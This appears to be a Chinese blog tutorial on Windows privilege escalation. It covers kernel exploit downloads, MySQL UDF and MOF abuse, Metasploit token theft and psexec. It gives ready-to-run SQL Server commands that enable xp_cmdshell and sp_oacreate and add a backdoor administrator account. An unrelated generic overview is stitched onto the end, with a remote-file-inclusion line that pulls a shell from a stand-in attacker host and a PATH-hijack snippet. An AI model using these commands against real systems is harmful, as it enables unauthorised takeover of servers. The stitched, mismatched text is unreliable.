Windows提权

1.溢出提权

windows权限认识(用户及用户组):

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。

0x01 普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

0x02特殊权限

SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

收集系统的信息,查找漏洞:

常见的cmd命令:

1.1 web权限提权

手动检测提权漏洞

  1. 使用工具查找可提权的漏洞一些大码自带功能:
    https://github.com/chroblert/WindowsVulnScan
  2. 使用网上的项目查找可提权的漏洞(好用推荐->systeminfo)
    https://i.hacking8.com/tiquan


提权exp: 使用systeminfo //显示信息
保存在桌面上:cd Desktop\ systeminfo >a.txt


杀毒识别:
cd Desktop\ tasklist /svc>1.txt

  1. 可用exp下载:(大量报毒)

https://github.com/Ascotbe/Kernelhub

https://github.com/SecWiki/windows-kernel-exploits

1.2本地提权(CVE-2020-0787

利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件;

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1

1.运行,弹出cmd窗口,运行whoami,发现已经取得了system权限。

whoami 查看权限

运行c:\Users\NUIA\Desktop\BitsArbitraryFileMoveExploit.exe

2.数据库提权:

一般网站都会搭建数据库,所以可以用数据库进行提权;

2.1 mysql提权

前提:知道数据库密码;

通过sql注入,爆破,任意文件读取等获取密码。

2.1.1 UDF提权

Udf:

udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。

原理:通过UDF定义⾃定义函数,通过添加新函数,执⾏系统命令。

udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’。sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。

条件:1.已经拥有MYSQL的某个⽤户(root)账号

2.知道Mysql版本,安装路径,端⼝是否开放;

下面来整理一下思路:

1.将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下);

2.从udf文件中引入自定义函数(user defined function);

3.执行自定义函数;

2.1.2 MOF提权

MOF文件:

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理:

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

2.1.3 启动项提权

原理:基于Mysql特性的安全问题,导⼊⾃定义的可执⾏⽂件到启动⽬录下,重启后加载可执行文件。 需要开启数据库外联;

2.2 SQL_SERVER 提权

数据库提权的前提条件:

1、服务器开启数据库服务;

2、获取到最高权限用户密码;

数据库存储分类:

系统存储过程、扩展存储过程、用户自定义的存储过程。

1.系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;

2.扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似;

3.用户定义的存储过程是SQL Server的使用者编写的存储过程;

2.2.1 xp_cmdshell(扩展存储过程提权)

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQL server调用cmd命令,直接用SQL语句实现cmd操作,危害非常大。

此存储过程在SQL server2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure(显示或更改当前服务器的全局配置设置)将其开启。

一、前提条件:

1.已获取到sql server sysadmin权限用户的账号与密码;

2.SQLserver服务未降权:

3.SQLserver可以外连;

二、执行系统命令添加管理员账号提权

1.连接SQL server数据库,检查xp_cmdshell是否开启;

select count(*)

from master.dbo.sysobjects

where xtype='x' and name='sp_oacreate';

/* xtype为对象类型,xtype='x':xp_cmdshell的对象类型

为扩展存储过程。

结果为1表示开启*/

2.启用xp_cmdshell扩展存储过程:

EXEC sp_configure 'show advanced options', 1

/* 默认情况下sp_configure无法查看和更改高级配置选项,

Show advanced options”用来显示或更改当前服务器的全局配置设置。

当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。*/

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

/*reconfigure使语句执行后立即生效,

若无此命令,需重启SQLserver后才生效。*/

关闭:

EXEC sp_configure 'show advanced options', 1

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 0;/*关闭*/

RECONFIGURE;

查看权限

通过xp_cmdshell执行系统命令whoami,查看当前权限。

EXEC master.dbo.xp_cmdshell 'whoami'

开启前:无法使用权限;

开启后:可以获得权限;

SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。

2.2.2 sp_oacrete提权(无回显)系统存储过程

如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。

sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。

一、前提条件

1.已获取到sql server sysadmin权限用户的账号与密码;

2.SQLserver服务未降权:

3.sql server可以外连;

二、步骤

1.判断sp_oacreate状态

查看sp_oacreate状态,回显为1代表开启。

select count(*)

from master.dbo.sysobjects

where xtype='x' and name='SP_OACREATE';

启用:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE WITH OVERRIDE;

执行(提权):

declare @shell int;/* # 声明一个变量 @shell*/

exec sp_oacreate 'wscript.shell',@shell output;

/*使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中*/

exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user estelle 123456 /add';

/*使用sp_oamethod调用@shell对象中的run方法,执行系统命令添加用户, null是run方法的返回值,

而现在不需要用返回值,所以写为null。*/

exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators estelle /add'

/* 将用户添加到管理员组。*/

以上是使⽤sp_oacreate的提权语句,主要是⽤来调⽤OLE对象(Object Linking and Embedd ing的缩写,VB中的OLE对象),利⽤OLE对象的run⽅法执⾏系统命令。

sql server数据库提权链接:

https://blog.csdn.net/weixin_40412037/article/details/112858836

https://blog.csdn.net/weixin_41949487/article/details/114819782

3.令牌窃取

令牌(token)是系统的临时秘钥,相当于账号和密码,⽤来决定是否允许这次请求和判断这次请求是属于哪⼀个⽤户的。它允许你在不提供密码或其他凭证的前提下,访问⽹络和系统资源,这些令牌将持续存在于系统中,除⾮系统重新启动。

令牌类型:

授权令牌(Delegation token):交互式会话登陆(例:本地⽤户登陆、⽤户桌⾯等)

模拟令牌(Impersonation token):⾮交互式登陆(例:net use 访问共享⽂件)

通过msf工具实现;

(1)比如我们已经拿下了一台机器,当前权限如下:

(2)在Metasploit 中内置 incognito.exe工具,可直接使用:

use incognito //使用该模块

list_tokens -u // 查看所有令牌

(3)这里我们来窃取SYSTEM用户的令牌,命令如下:

impersonate_token 'NT AUTHORITY\SYSTEM'

如上图所示,我们已经成功窃取了SYSTEM的令牌;

令牌窃取链接:https://blog.csdn.net/qq_42383069/article/details/124006271

烂土豆提权:

烂⼟⾖(Rotten Potato)提权是⼀个本地提权,是针对本地⽤户的,不能⽤于域⽤户。 借助提权漏洞(MS16-075)去获取令牌。

提权漏洞(MS16-075):

https://github.com/SecWiki/windows-kernel-exploits

4.Bypass UAC绕过

操作系统默认情况下是启⽤UAC,当用户运行软件就会触发UAC规则。执⾏的时候就需要权限,否则是不会运⾏的。

UAC(User Account Control,用户帐户控制),要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。

通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。

Bypass UAC绕过链接:

https://www.cnblogs.com/-mo-/p/12088056.html

5.其他提权方式;

psexec提权

PsExec属于SysInternalSuite (⼀个windows的内核的套件),是其中⼀个工具。

psexec 这个⼯具能以System账号执⾏⼀个程序;(适合于本地提权 )

psexec -i -s cmd

-i 使⽤交互模式运⾏程序

-s 使⽤SYSTEM账号来运⾏

psexec提权https://cloud.tencent.com/developer/article/1683102

进程注⼊,迁移

MSF模块使⽤:⼀般administrator(⾼全权限⽤户)提升到system权限;

迁移命令:migrate pid

第三⽅软件提权:⾼权限运⾏的⼀些软件本身存在漏洞;

03-08
### 技术概述 是指攻击者通过利用系统的某些弱点,将其限从较低级别升到较高级别的过程。这种行为可以让威胁行为者获得超越其原始授范围的操作能力[^2]。 #### 纵向 vs 横向 纵向指的是低限角色获取更高层次的角色限的过程;而横向则是指在同一级别的不同实体之间转移控制的行为。对于大多数安全事件而言,更值得关注的是纵向,因为它能够赋予攻击者更多的控制系统的能力。 #### 类型划分 根据目标平台的不同,可以分为两大类: - **操作系统**:涉及对底层OS机制的操纵,比如利用内核漏洞或不恰当的文件/注册表项限设置等问题来实现限升级。这类攻击通常会尝试将普通用户的高至管理员甚至系统级特状态。 - **应用程序**:专注于针对特定软件产品的缺陷实施攻击策略,例如SQL注入、跨站脚本(XSS)等编程错误所造成的安全隐患。成功后可能会让入侵者接管整个应用服务乃至背后的数据存储设施[^3]。 ### 实现方法举例 以下是几种常见的手段及其具体应用场景描述: #### 利用未修复的安全漏洞 当存在未经修补的已知问题时——无论是操作系统还是第三方组件中的——都可能成为潜在突破口。以Linux为例,在某些版本里如果启用了`eBPF`特性却未能妥善处理边界条件,则允许非特进程创建特制字节码从而绕过正常保护措施并最终取得root身份[CVE-2017-16995][^5]。 ```bash # 假设当前环境满足上述前条件下... $ gcc exploit.c -o exploit # 编译含有恶意逻辑源代码 $ ./exploit # 执行生成二进制文件完成动作 ``` 请注意这只是一个理论性的说明框架,并不代表实际可用工具! #### 文件系统滥用 另一个典型场景是在Windows平台上借助于路径遍历技巧或是DLL预加载顺序篡改等方式达成目的。假设某处程序依赖外部库加载但又缺乏严格的身份验证流程的话,那么就有可能被诱导去调用由黑客事先准备好的伪造副本进而打开通往深层资源的大门[^1]。 ```powershell # PowerShell下模拟非法命令执行情景 PS C:\> $env:PATH += ";C:\malicious\dir" PS C:\> some_vulnerable_app.exe # 此app会在启动期间自动寻找指定名称下的动态链接库 ``` 同样地,以上仅为示意性质而非真实案例重现指南。 #### 远程文件包含(RFI) 最后及一种较为隐蔽但也相当危险的情形即远程文件包含(Remote File Inclusion)。它主要发生在Web服务器端解析PHP之类的解释型语言过程中遇到类似`${@include('http://attacker.com/shell.php')}`这样的语句结构之时。只要能迫使受害者站点按照指示拉取远端恶意脚本内容便足以造成严重后果了。 ```php <?php include($_GET['file']); ?> <!-- 不加过滤直接使用用户输入作为参数 --> <!-- 攻击方构造请求 http://victim-site/?file=http://evil-server/payload.txt? --> ``` 尽管这里给出了一些基本概念和技术细节方面的介绍,但在现实世界中从事此类活动显然是违法且违背道德准则的做法。因此强烈建议读者仅把学到的知识用于合法合规的目的范围内,如强化自身防护意识或者参与官方许可内的渗透测试项目之中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值